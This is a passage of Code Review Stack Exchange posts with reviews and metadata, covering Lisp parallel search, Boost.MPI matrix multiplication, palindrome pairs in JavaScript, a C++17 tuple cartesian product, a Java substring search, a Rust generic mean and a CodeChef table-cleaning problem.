<p>Each thread runs a separate instance of df-bnb in parallel. When any thread becomes idle (ie, available for work by blocking at line 6), another working thread will split off a part of its current <code>*open*</code> (ie, a subproblem), and put it on a problems queue so any idle thread can pick it up. Following the split, the splitting thread continues with what's left of its <code>*open*</code>. Any thread becomes idle after it completes an exhaustive search of its <code>*open*</code>, at which time it announces it is idle (pushes t into the idles queue), and then blocks, waiting for another subproblem to appear in the problems queue (popping from the problems queue if it does).</p>
<p>When all threads become idle, the last one signals completion (pushes t into the done queue) and tells the next thread to stop by pushing :stop into the problems queue). Subsequent idle threads pop the :stop message, push another :stop message (available for the next idle thread to pop), and return-from their instance of df-bnb. The various instances of df-bnb tasks are previously started in a function which sets up the Lparallel kernel, channel, and queues.</p>
<pre><code>(defun df-bnb (&optional problems idles done)
;Branch & Bound DFS sequential search algorithm.
(setf *search-tree* nil)
(if ww::*parallel* ;splitoff an *open* chain for subsequent restart
(iter
(let ((*open* (lparallel.queue:pop-queue problems))) ;*open* is now local for a thread
(lparallel.queue:pop-queue idles) ;this thread is no longer idle
(when (eq *open* :stop) ;stop received from another stopped thread
(lparallel.queue:push-queue :stop problems) ;restore stop signal for another thread
(return-from df-bnb)) ;stop this thread
(when (persistently-linear done) ;*open* only linearly expandable
(next-iteration)) ;cancel this *open*, get next one
(iter
(when (and (not (small)) ;don't split if small problem
(>= (lparallel.queue:queue-count idles) 1)) ;ie, some threads are idle
(let ((subproblem (split-off))) ;split problem
(lparallel.queue:push-queue subproblem problems)))
(let ((succ-nodes (df-bnb1))) ;work a little more on current problem
(if (and (null succ-nodes) ww::*first-solution-sufficient*)
(return-from df-bnb)
(loop for succ-node in succ-nodes
do (hs::push-hstack succ-node *open*))))
(when (finished) ;is this thread's task complete?
(lparallel.queue:push-queue t idles) ;this thread now idle
(if (= (lparallel.queue:queue-count idles) ww::*num-threads*) ;all threads idle
(progn (lparallel.queue:push-queue :stop problems) ;tell next idle thread to stop
(lparallel.queue:push-queue t done) ;signal all done to main
(return-from df-bnb)) ;stop this thread
(leave)))))) ;return from inner loop to get new problem
(iter (for succ-nodes = (df-bnb1))
(if succ-nodes
(dolist (succ-node succ-nodes)
(hs::push-hstack succ-node *open*))
(when (or ww::*first-solution-sufficient* (hs::empty-hstack *open*))
(return-from df-bnb))))))
; file: D:/Users Data/Dave/SW Library/AI/Planning/Wouldwork Planner/bnb-planner.lisp
; in: DEFUN DF-BNB
; (ITERATE:ITER
; (LET ((BRANCH&BOUND-PKG::*OPEN*
; (LPARALLEL.QUEUE:POP-QUEUE BRANCH&BOUND-PKG::PROBLEMS)))
; (LPARALLEL.QUEUE:POP-QUEUE BRANCH&BOUND-PKG::IDLES)
; (WHEN (EQ BRANCH&BOUND-PKG::*OPEN* :STOP)
; (LPARALLEL.QUEUE:PUSH-QUEUE :STOP BRANCH&BOUND-PKG::PROBLEMS)
; (RETURN-FROM BRANCH&BOUND-PKG::DF-BNB))
; (WHEN (BRANCH&BOUND-PKG::PERSISTENTLY-LINEAR BRANCH&BOUND-PKG::DONE)
; (ITERATE:NEXT-ITERATION))
; (ITERATE:ITER
; (WHEN (AND # #)
; (LET #
; #))
; (LET (#)
; (IF #
; #
; #))
; (WHEN (BRANCH&BOUND-PKG::FINISHED)
; (LPARALLEL.QUEUE:PUSH-QUEUE T BRANCH&BOUND-PKG::IDLES)
; (IF #
; #
; #)))))
; --> LET* BLOCK TAGBODY PROGN LET IF PROGN LPARALLEL.QUEUE:PUSH-QUEUE
; ==>
; BRANCH&BOUND-PKG::PROBLEMS
;
; note: deleting unreachable code
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:13:51.870",
"Id": "420746",
"Score": "1",
"body": "This question lacks any indication of what the code is intended to achieve. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T15:53:00.283",
"Id": "420800",
"Score": "1",
"body": "@Toby Speight, I was hoping this was an easy technical question, but I can see how purpose is important too (see edit). Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T09:24:38.520",
"Id": "421791",
"Score": "0",
"body": "The title question would be more appropriate over on [so], if that's what you really want. If you actually want a review of your code, you're in the right place, but the title should simply state the task accomplished by the code."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:12:48.670",
"Id": "217449",
"Score": "1",
"Tags": [
"queue",
"common-lisp"
],
"Title": "Puzzling SBCL Compiler Note"
} | 217449 |
<p>This program performs a matrix-vector multiply using MPI to split the computation up. It is not extremely robust (for example, it doesn't handle the case where the number of MPI processes does not divide evenly into the dimensions of the matrix), but I mainly wanted to get some practice using MPI. Is my use of the functions correct, and what are some ways I can improve this code?</p>
<pre><code>#include <iostream>
#include <string>
#include <boost/mpi.hpp>
#include <numeric>
void matVecMult( double ** mat, double * vec, double * result, int beg, int end, unsigned N) {
for (auto i = beg; i < end; i++) {
result[i] = std::inner_product(mat[i], mat[i] + N, vec, 0.0);
}
}
int main(int argc, char ** argv) {
boost::mpi::environment env;
boost::mpi::communicator world;
int dim = (argc > 1) ? std::stoi(argv[1]) : 4;
auto N = static_cast<unsigned>(dim);
auto **matrix = new double *[N]();
auto *vector = new double[N]();
auto *result = new double[N]();
for(unsigned i = 0; i < N; i++){
matrix[i] = new double[N]();
for(unsigned j = 0; j < N; j++){
if(i==j) {matrix[i][j] = i+j;}
}
vector[i] = i + i;
}
int beg = world.rank() * (N/world.size());
int end = beg + (N/world.size());
matVecMult(matrix, vector, result, beg, end, N);
world.isend(0, world.rank(), result + beg, (N/world.size()));
if(world.rank() == 0){
for(int i = 0; i < world.size(); i++) {
world.recv(i,i, result+(i*N/world.size()), (N/world.size()));
}
}
for(unsigned i = 0; i < N; i++){
delete[] matrix[i];
}
delete[] matrix;
delete[] vector;
delete[] result;
return 0;
}
</code></pre>
| [] | [
{
"body": "<p>An obvious way to improve the code is to use standard containers to manage memory instead of raw pointers.</p>\n\n<p>For this code, I would choose <code>std::vector<double></code> for <code>vector</code> and <code>result</code>, and probably <code>std::vector<std::vector<double>></code> for <code>matrix</code> (though note that this isn't the most cache-friendly choice for a 2-d matrix). Remember, we can refer to a <code>std::vector</code>'s elements as a plain array using the <code>data()</code> member if needed (here, the iterators should be sufficient).</p>\n\n<p>That allows us to eliminate all the <code>delete[]</code> operations, as destructors will take care of that for us - including the non-local exits where <code>new[]</code> throws <code>std::bad_alloc</code>.</p>\n\n<hr>\n\n<p>This loop looks wasteful:</p>\n\n<blockquote>\n<pre><code> for(unsigned j = 0; j < N; j++){\n if(i==j) {matrix[i][j] = i+j;}\n }\n</code></pre>\n</blockquote>\n\n<p>As the body is conditional on <code>i==j</code>, that's simply equivalent to</p>\n\n<pre><code> matrix[i][i] = i+i;\n</code></pre>\n\n<hr>\n\n<p>I don't have experience with MPI, so not commenting on its use. It's probably worth making <code>N</code> be <code>const</code>, and possibly also defining a useful variable:</p>\n\n<pre><code>auto const chunk_size = N/world.size();\n</code></pre>\n\n<p>Is the variable <code>env</code> needed? If constructing a <code>boost::mpi::environment</code> has some useful side-effect, it may be worth an explanatory comment, as it currently looks like an unused variable (if this is something obvious and expected in MPI, then disregard this comment).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-29T15:51:29.040",
"Id": "219372",
"ParentId": "217450",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:43:15.123",
"Id": "217450",
"Score": "3",
"Tags": [
"c++",
"c++11",
"matrix",
"boost",
"mpi"
],
"Title": "A matrix-vector multiply parallelized using boost::MPI"
} | 217450 |
<p><strong>The task</strong></p>
<blockquote>
<p>Given a list of words, find all pairs of unique indices such that the
concatenation of the two words is a palindrome.</p>
<p>For example, given the list <code>["code", "edoc", "da", "d"]</code>, return
<code>[(0, 1), (1, 0), (2, 3)]</code>.</p>
</blockquote>
<pre><code>const lst = ["code", "edoc", "da", "d"];
</code></pre>
<p><strong>My functional solution</strong></p>
<pre><code>const findPalindromePairs = lst => {
const isPalindrome = str => str === [...str].reverse().join("");
return lst.reduce((pairs, w1, i) => {
return [...pairs, ...lst.reduce((match, w2, j) => {
if (i !== j && isPalindrome(`${w1}${w2}`)) { match.push([i,j]); }
return match;
}, [])];
}, []);
};
console.log(findPalindromePairs(lst));
</code></pre>
<p><strong>My imperative solution</strong></p>
<pre><code>function findPalindromePairs2 (lst) {
const len = lst.length;
const pairs = [];
const isPalindrome = str => str === [...str].reverse().join("");
for (let i = 0; i < len; i++) {
for (let j = 0; j < len; j++) {
if (i !== j && isPalindrome(lst[i] + lst[j])) { pairs.push([i,j]); }
}
}
return pairs;
}
console.log(findPalindromePairs2(lst));
</code></pre>
| [] | [
{
"body": "<p>I don't really see anything that jumps out as an obvious simplification. I looked online for other code for this task and only found one <a href=\"https://github.com/vineetjohn/daily-coding-problem/blob/master/solutions/problem_167.py\" rel=\"nofollow noreferrer\">in python</a> which uses the same basic algorithm. </p>\n\n<p>The only suggestion I have is for readability, the name <code>match</code> in the functional solution might be slightly confusing for anyone reading the code. Perhaps a more appropriate name would be something like <code>subMatches</code>.</p>\n\n<p>I did notice that the functional solution concatenates the strings with a template literal, while the imperative solution uses traditional string concatenation. Why not just use the traditional technique in the functional solution? The results of <a href=\"https://jsperf.com/template-literal-vs-string-plus/7\" rel=\"nofollow noreferrer\">this jsPerf</a> show negligible differences between the two approaches.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T19:43:33.880",
"Id": "431085",
"Score": "1",
"body": "I try to use and combine different techniques to see what sticks."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T19:38:59.103",
"Id": "222656",
"ParentId": "217451",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222656",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:49:12.053",
"Id": "217451",
"Score": "2",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming",
"ecmascript-6"
],
"Title": "Find all pairs of unique indices in a list such that the concatenation of the two words is a palindrome"
} | 217451 |
<p>I would like to write a function that computes a <a href="https://en.wikipedia.org/wiki/Cartesian_product" rel="noreferrer">cartesian product</a> of two tuples in C++17 (the tuples can be of type <code>std::tuple</code> or <code>std::pair</code>, or any other type that can be used with <code>std::apply</code>). The tuples can be of different types and sizes, and the resulting <code>std::tuple</code> has to contain all <code>std::pair</code>s of elements, where the <code>first</code> element of a pair is from the first tuple, and the <code>second</code> element is from the second tuple. The function must be suitable for use in a <code>constexpr</code> context.</p>
<p>My approach is to use <code>std::apply</code> to effectively convert a tuple to a parameter pack, and then to recursively apply a generic lambda to it to build the result. Because a lambda cannot be explicitly recursive, I pass a reference to it to itself as an additional parameter <code>self</code>.</p>
<pre><code>#include <functional>
#include <tuple>
#include <utility>
template<class X, class Y>
constexpr auto cartesian_product(const X& tx, const Y& ty) {
if constexpr (std::tuple_size_v<X> == 0) return std::make_tuple();
else return std::apply([&](const auto& ... ys) {
return std::apply([&](const auto& ... xs) {
const auto recursive = [&](
const auto& self,
const auto& arg, const auto& ... args)
{
if constexpr (sizeof...(args) == 0)
return std::make_tuple(std::make_pair(arg, ys)...);
else return std::tuple_cat(
std::make_tuple(std::make_pair(arg, ys)...),
self(self, args...));
};
return recursive(recursive, xs...);
}, tx);
}, ty);
}
// Test
constexpr auto x = std::make_tuple('a', 2);
constexpr auto y = std::make_tuple(true, std::optional<long>{});
constexpr auto result = cartesian_product(x, y);
static_assert(result == std::make_tuple(
std::make_pair('a', true),
std::make_pair('a', std::optional<long>{}),
std::make_pair(2, true),
std::make_pair(2, std::optional<long>{})));
</code></pre>
<p>I would appreciate any comments or suggestions how to simplify or improve this code.</p>
<hr>
<p><em>Update:</em> A generalization to an arbitrary number of factors in the cartesian product (the components of the result are now <code>tuple</code>s rather than <code>pair</code>s):</p>
<pre><code>#include <functional>
#include <tuple>
#include <utility>
constexpr std::tuple<std::tuple<>> cartesian_product() {
return {{}};
}
template<class X, class ... Y>
constexpr auto cartesian_product(const X& tx, const Y& ... ty) {
if constexpr (std::tuple_size_v<X> == 0) return std::make_tuple();
else return std::apply([&](const auto & ... tuples) {
return std::apply([&](const auto & ... xxs) {
const auto recursive = [&](
const auto& self,
const auto& x, const auto& ... xs)
{
auto tuple = std::make_tuple(
std::tuple_cat(std::make_tuple(x), tuples)...);
if constexpr (sizeof...(xs) == 0) return tuple;
else return std::tuple_cat(std::move(tuple), self(self, xs...));
};
return recursive(recursive, xxs...);
}, tx);
}, cartesian_product(ty...));
}
constexpr auto x = std::make_tuple('a', 2);
constexpr auto y = std::make_tuple(true, std::optional<long>{});
constexpr auto z = std::make_tuple(1L);
constexpr auto result = cartesian_product(x, y, z);
static_assert(result == std::make_tuple(
std::make_tuple('a', true, 1L),
std::make_tuple('a', std::optional<long>{}, 1L),
std::make_tuple(2, true, 1L),
std::make_tuple(2, std::optional<long>{}, 1L)));
</code></pre>
<p>I do not like <code>std::make_tuple(x)</code> part, but do not see a better way to prepend an element to a <code>tuple</code>.</p>
| [] | [
{
"body": "<p>You actually hint at the primary concern with your note about <code>std::make_tuple()</code>, <code>std::tuple_cat()</code> and gradually building up the result.<br>\nThe point is that you have much copying with a plethora of temporaries going on.</p>\n\n<p>Also, quite a bit of recursion.</p>\n\n<p>Use index_sequences, the power of template parameter pack expansion, and forwarding using <code>std::forward_as_tuple()</code> and you can flatten it, as well as only copy directly from the source to the destination without intermediate steps.</p>\n\n<p>While you are at it, ponder <code>noexcept</code>.</p>\n\n<pre><code>#include <utility>\n#include <tuple>\n\nnamespace detail {\n template <class T>\n constexpr std::size_t tuple_size_v = std::tuple_size_v<std::decay_t<T>>;\n\n template <std::size_t I, class T, std::size_t... N>\n static constexpr auto index_helper(std::index_sequence<N...>) noexcept {\n return (1 * ... * (I < N ? tuple_size_v<std::tuple_element_t<N, T>> : 1));\n }\n template <std::size_t N, std::size_t I, class T>\n static constexpr auto index() noexcept {\n return N\n / index_helper<I, T>(std::make_index_sequence<tuple_size_v<T>>())\n % tuple_size_v<std::tuple_element_t<I, T>>;\n }\n\n template <std::size_t N, class T, std::size_t... I>\n static constexpr auto cartesian_product(T t, std::index_sequence<I...>) noexcept {\n return std::forward_as_tuple(std::get<index<N, I, T>()>(std::get<I>(t))...);\n }\n template <class T, std::size_t... N>\n static constexpr auto cartesian_product(T t, std::index_sequence<N...>) noexcept {\n return std::make_tuple(cartesian_product<N>(t, std::make_index_sequence<tuple_size_v<T>>())...);\n }\n\n template <class T>\n auto tuple_no_ref(T t)\n { return std::apply([](auto&&... x){ return std::make_tuple(x...); }, t); }\n template <class T>\n auto tuple2_no_ref(T t)\n { return std::apply([](auto&&... x){ return std::make_tuple(tuple_no_ref(x)...); }, t); }\n}\n\ntemplate <class... T>\nconstexpr auto cartesian_product_ref(T&&... t) noexcept {\n constexpr auto N = sizeof...(T) ? (1 * ... * detail::tuple_size_v<T>) : 0;\n return detail::cartesian_product(std::forward_as_tuple(t...), std::make_index_sequence<N>());\n}\n\ntemplate <class... T>\nconstexpr auto cartesian_product(T&&... t)\nnoexcept(noexcept(decltype(detail::tuple2_no_ref(cartesian_product_ref(t...)))(cartesian_product_ref(t...))))\n{\n auto r = cartesian_product_ref(t...);\n using R = decltype(detail::tuple2_no_ref(r));\n return R(r);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T15:14:36.627",
"Id": "217496",
"ParentId": "217452",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217496",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:56:09.353",
"Id": "217452",
"Score": "6",
"Tags": [
"c++",
"recursion",
"c++17",
"constant-expression"
],
"Title": "A cartesian product of tuples in C++17"
} | 217452 |
<p>I wrote a program that receives 2 strings (Input and Search) in the Search string. The sign '+' indicates that if the substring before the '+' exists in the Input string. (The search string cannot start with '+' and there cannot be a '+' followed by another '+').</p>
<p>Can you review it for best coding practices and efficiency?</p>
<pre><code>boolean notgood = false;
boolean break1 = false;
boolean break2 = false;
int counter = 0;
if (search.charAt(0)=='+'||search.charAt(0)=='*') {
System.out.println("Invalid search striNG.");
continue;
}
//////////////////////////////////////////////
for (i=0; i<search.length() && notgood==false; i++) {
if (search.charAt(i)!='*' && search.charAt(i)!='+') {
counter++;
}
if (counter == search.length()) {
System.out.println("Invalid SEARCH string.");
notgood=true;
break;
}
if ((search.charAt(i)=='*')||(search.charAt(i)=='+')) {
if (i!=search.length()-1) {
if ((search.charAt(i+1)=='*')||(search.charAt(i+1)=='+')) {
System.out.println("INvalid search string.");
notgood=true;
break1=true;
}
}
}
}
////////////////////////////////////////////
for (i=0; i<search.length() && !break1; i++) {
int c=0;
if (search.charAt(i)=='+') {
String word = search.substring(0,i);
for (int j=0; j<input.length() && !break2; j++) {
if ((input.charAt(j) == word.charAt(c)) && c<word.length()) {
c++;
}
if (c>=word.length()) {
System.out.println("Search string matches input string.");
break1=true;
break2=true;
}
}
if (c<word.length()) {
System.out.println("Search string doesn't match input string.");
}
}
</code></pre>
<p>For example, for <code>Input = 'abcd'</code> and <code>Search = 'ab+cd+'</code>, the result should be the strings match.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T18:46:24.460",
"Id": "420702",
"Score": "1",
"body": "Request for clarification: does ab+cd+ indicate that the two substring which should be present are “ab” and “cd” or is it everything to the left of the +, thus “ab” and “abcd” should be contained? In other words, does the filter “to the left of +” stop when it encounters another plus?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T18:47:44.590",
"Id": "420703",
"Score": "0",
"body": "I also noticed you check in the beginning for “*”. What does this character mean in the context of your program?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T19:49:41.070",
"Id": "420704",
"Score": "1",
"body": "Welcome to Code Review! Please read the article on [How to write a good question](https://codereview.stackexchange.com/help/how-to-ask) in the Help Center. Update the title of your question after reading. Additionally, fix your code so that it's complete, runnable and working."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:42:00.357",
"Id": "420913",
"Score": "0",
"body": "Why `notgood==false` when you can shorten it to `!notgood`? Come to think of it, you could invert the semantics and replace `notgood` with `isGood`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T15:00:00.260",
"Id": "421058",
"Score": "0",
"body": "The '*' sign means something else in the program you can ignore him, also, thanks to all of your recommendations, it really helped. and DapperDan i hear what you're saying but it works fine for me when i run it."
}
] | [
{
"body": "<p>1.) Your search only looks for the first substring only (e.g. \"ab\"), it will never match the others given (e.g. \"cd\").\nWhy? Because You wrote:</p>\n\n<pre><code>String word = search.substring(0,i);\n</code></pre>\n\n<p>That would give us \"ab+cd\" for the second substring (maybe this is an error and you wanted to grab \"cd\"?)\nAnyway, for the first substring found you are setting break1 and therefore exiting the loop.\nBut instead of setting break-variables, you can break directly by writing \"break;\". This would be faster and makes your code more readable.</p>\n\n<p>2.) Always make tests (write JUnit-Tests) for your code. You can post them, too. In many companies you cannot check in your code without a corresponding test with full code coverage.\nIf you have input=\"axb\" and search=\"ab+\", then it would match! Is this really intended? I think it's an error, and you would have found out if you wrote tests.</p>\n\n<p>3.) Many times you wrote :</p>\n\n<pre><code>((search.charAt(i)=='*')||(search.charAt(i)=='+'))\n</code></pre>\n\n<p>This is a double DRY (Don't Repeat Yourself, clean code red grade) coding practice violation.\nJust evaluate search.charAt() once and store it in a variable \"currentChar\". Then evaluate the whole expression once and store it in a boolean variable \"isDelimiter\". \nYour code:</p>\n\n<pre><code>if (search.charAt(i)!='*' && search.charAt(i)!='+') {\n counter++;\n}\n...\nif ((search.charAt(i)=='*')||(search.charAt(i)=='+')) {\n...\n</code></pre>\n\n<p>would be reduced to:</p>\n\n<pre><code>char currentChar = search.charAt(i);\nboolean isDelimiter = (currentChar=='*' || currentChar=='+');\nif (!isDelimiter) {\n counter++;\n}\n...\nif (isDelimiter) {\n...\n</code></pre>\n\n<p>4.) Generally code is written once, but read on average about 10 times. That's why we have the coding practice to use meaningful names (clean code orange grade, source code conventions).\nSo change \"break1\" to \"isInvalidSeachString\", \"break2\" to \"hasNoMatch\", \"notgood\" to \"bad\", \"counter\" to \"validCharacterCounter\" and \"c\" to \"matchingCharacterCounter\"</p>\n\n<p>5.) Follow the Single level of abstraction principle.(clean code, orange grade)\nYou are doing too much in a single method. You are verifying the correctness of the search string. Then you are tying to grab each substring and then match each substring.\nMeaningful names are much better than a meaningless separator like \"///////...\".\nYour structure should be following</p>\n\n<pre><code>public boolean isMatchingWholeSearch(String input, String search)\n{\n boolean searchIsCorrect = hasNoStartingPlus(search) && hasNoDoublePlus(search);\n if (searchIsCorrect) searchForAllMatches(input, search); \n}\nprivate boolean searchForAllMatches(String input, String search)\n{\n for (int i=0, max=search.length(); i<max; i++) { // performance optimized for-loop\n boolean isSubstringSuffix = (search.charAt(i)=='+');\n if (isSubstringSuffix) {\n String substring = getSubstringBefore(search, i);\n boolean isFound = searchForSingleMatch(input, substring);\n if (isFound) return true;\n }\n }\n return false;\n}\nprivate boolean searchForSingleMatch(String input, String search)\n{\n // here goes your inner loop. \n ...\n}\nprivate boolean hasNoStartingPlus(String search)\n{\n ...\n}\nprivate boolean hasNoDoublePlus(String search)\n{\n ...\n}\n</code></pre>\n\n<p>6.) For not reinventing the wheel, you could use java streams String.chars() with lambda expressions, or String.split() methods and regular expressions for verifying. That would make your code much more readable and very short. But maybe you can only use an old java version. Tell me if you can use a new one, and I'll give you code samples for each. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T15:03:28.853",
"Id": "421059",
"Score": "0",
"body": "Hi, your answer has been extremly helpful, thank you very much, I appreciate it.\nBy the way, in my class, i'm not allowed to use functions/methods because we have not gotten to it yet, but thanks!!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:30:24.540",
"Id": "421073",
"Score": "0",
"body": "Although I'm not allowed to use most of what you wrote in '5)', i will save it for later learning as I will go into methods, thanks a lot, you really helped."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T15:59:08.943",
"Id": "217562",
"ParentId": "217453",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "217562",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T18:39:40.867",
"Id": "217453",
"Score": "0",
"Tags": [
"java",
"beginner",
"strings",
"search"
],
"Title": "Combinational string search using Java"
} | 217453 |
<p>I'm trying to write a generic <code>mean</code> function for all values within an Vector of generic numerical primitive type.</p>
<p>Could the following implementation be possible more efficient, yet still generic enough for all the possible numerical primitives?</p>
<p>Is the <code>num</code> crate really needed?</p>
<pre class="lang-rust prettyprint-override"><code>extern crate num;
use std::iter::Sum;
use std::ops::Div;
fn mean<'a, T, U>(values: &'a [T]) -> U::Output
where T: Sum<&'a T> + num::ToPrimitive,
U: num::NumCast + Div
{
U::from(values.iter().sum::<T>()).unwrap() / U::from(values.len()).unwrap()
}
fn main() {
let arr_i32: Vec<i32> = vec![1, 2, 5];
let arr_f32: Vec<f32> = vec![1.1, 2.2, 5.5];
println!("Mean of ({:?}) is: {}", arr_i32, mean::<_, f32>(&arr_i32));
println!("Mean of ({:?}) is: {}", arr_f32, mean::<_, f32>(&arr_f32));
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:35:20.143",
"Id": "420712",
"Score": "0",
"body": "Why do you think this is not efficient ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:27:45.443",
"Id": "420765",
"Score": "0",
"body": "I didn't say I think that, I was just asking, if this code could be written more efficiently. For example, I think that the wrapping `U` into `Option<U>` and then calling the`unwrap()` method is unnecessary, because `iter::sum` has always a value and `&[].len()` has it too."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T19:08:30.713",
"Id": "217454",
"Score": "1",
"Tags": [
"generics",
"rust"
],
"Title": "Calculate mean of vector primitive numerical values generically"
} | 217454 |
<p><strong>Description:</strong></p>
<blockquote>
<p>Haku has been newly hired by Chef to clean tables at his restaurant.
So whenever a customer wants a table, Haku must clean it.</p>
<p>But Haku happens to be a lazy boy. So in the morning, when the
restaurant is opened, all the tables are dirty from night before.</p>
<p>The customer don't leave the table unless they are politely requested
to do so. And customers can order meal later again. So if they were
already having a table, they can be served on the same table [Haku
doesn't have to clean :)]. But if they don't have a table then they
must be given some table [Haku must clean :(]</p>
<p>The restaurant has N tables. When a customer requires a table, he/she
can occupy any unoccupied table. However if all tables are occupied,
then Haku is free to ask politely any customer to leave his/her table.
And the freed table can be given to the waiting customer.</p>
<p>Now Chef has the psychic ability to tell the order of customer meal
requests for the entire day. Given this list, help Haku find the
minimum number of times he has to clean the tables.</p>
</blockquote>
<p><a href="https://www.codechef.com/problems/CLETAB" rel="nofollow noreferrer">Link</a></p>
<p><strong>Input:</strong></p>
<p>First line contains integer <code>T</code>, number of test cases. First line of each test case contains 2 integers <code>N</code>, number of tables and <code>M</code>, number of customer orders. Followed by <code>M</code> integers on next line, which is the order in which customers ask for meal. Customers are referenced by integer <code>C</code>.</p>
<p><strong>Output:</strong></p>
<p>For each test case output the minimum number of times Haku must clean the table(s).</p>
<p><strong>Code:</strong></p>
<pre><code>class Main {
public static int solve(int N, int[] orders) {
Map<Integer, LinkedList> positions = new HashMap<>();
for (int i = 0; i < orders.length; i++) {
int order = orders[i];
positions.computeIfAbsent(order, x -> new LinkedList<Integer>()).add(i);
}
Set<Integer> table = new HashSet<>();
//System.out.println(positions);
int count = 0;
for (int i = 0; i < orders.length; i++) {
int order = orders[i];
if (table.contains(order)) {
positions.get(order).removeFirst(); // remove the first entry
continue;
}
count++;
if (table.size() < N) {
positions.get(order).removeFirst(); // remove the first entry
table.add(order);
continue;
} else {
int farthestOrder = findIndex(table, orders, i, positions);
table.remove(farthestOrder);
table.add(order);
}
}
System.out.println("Count: " + count);
return count;
}
private static int findIndex(
Set<Integer> table, int[] orders, int i, Map<Integer, LinkedList> positions) {
// case 1: There is at least one order which is not seen in future
for (int order : orders) {
if (positions.get(order).size() == 0) {
return order;
}
}
// case 2: All the orders can be seen, find farthest
int max = -1;
for (; i < orders.length; i++) {
int order = orders[i];
int position = (int) positions.get(order).getLast();
max = Math.max(position, max);
}
return orders[max];
}
public static void main(String[] args) {
solve(2, new int[]{1, 2, 3, 4});
solve(2, new int[]{4, 1});
solve(3, new int[]{1, 2, 1, 3, 4, 1});
solve(3, new int[]{1, 2, 1, 3, 4});
}
}
</code></pre>
<p><strong>Question(s):</strong></p>
<p>I assume that the solution is <span class="math-container">\$O(N^2)\$</span> where <span class="math-container">\$N\$</span> is the number of orders.
Is there any linear time algorithm possible?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T20:30:47.630",
"Id": "420707",
"Score": "0",
"body": "Try `solve(2, new int[]{1, 2, 1, 3, 4, 5, 1, 3, 4, 5});`. It should return something like 7, but I suspect that it will actually return 5, as `findIndex` repeatedly finds that 2 no longer needs a table but 2 no longer has a table to be removed. So you'll end up with four customers seated at two tables. Hint: the `findIndex` method does not need `orders`, as `table` and `positions` have all the necessary information. Also, `getLast` should probably be `getFirst`. Consider `solve(2, new int[] {1, 2, 3, 2, 3, 2, 3, 1}`. That should kick out 1 so that Haku only has to clean 4, not 7."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:46:33.117",
"Id": "420716",
"Score": "0",
"body": "Imho `getLast` is fine because it will return the correct answer which is `4` which aligns my algorithm to remove the farthest order, I am still thinking about your first half of your comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:52:11.303",
"Id": "420717",
"Score": "0",
"body": "Iterating over `table` gives me the correct result now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T00:27:34.257",
"Id": "420725",
"Score": "0",
"body": "Sorry, `solve(2, new int[] {1, 2, 3, 2, 3, 2, 3, 1, 3}`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:05:51.750",
"Id": "420769",
"Score": "0",
"body": "Makes sense, so the last example should return `4` right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:57:12.950",
"Id": "420795",
"Score": "0",
"body": "Yes, I believe so."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T19:10:56.587",
"Id": "217455",
"Score": "2",
"Tags": [
"java",
"algorithm",
"programming-challenge"
],
"Title": "Code Chef's Cleaning Tables: find the minimum number of tables to clean"
} | 217455 |
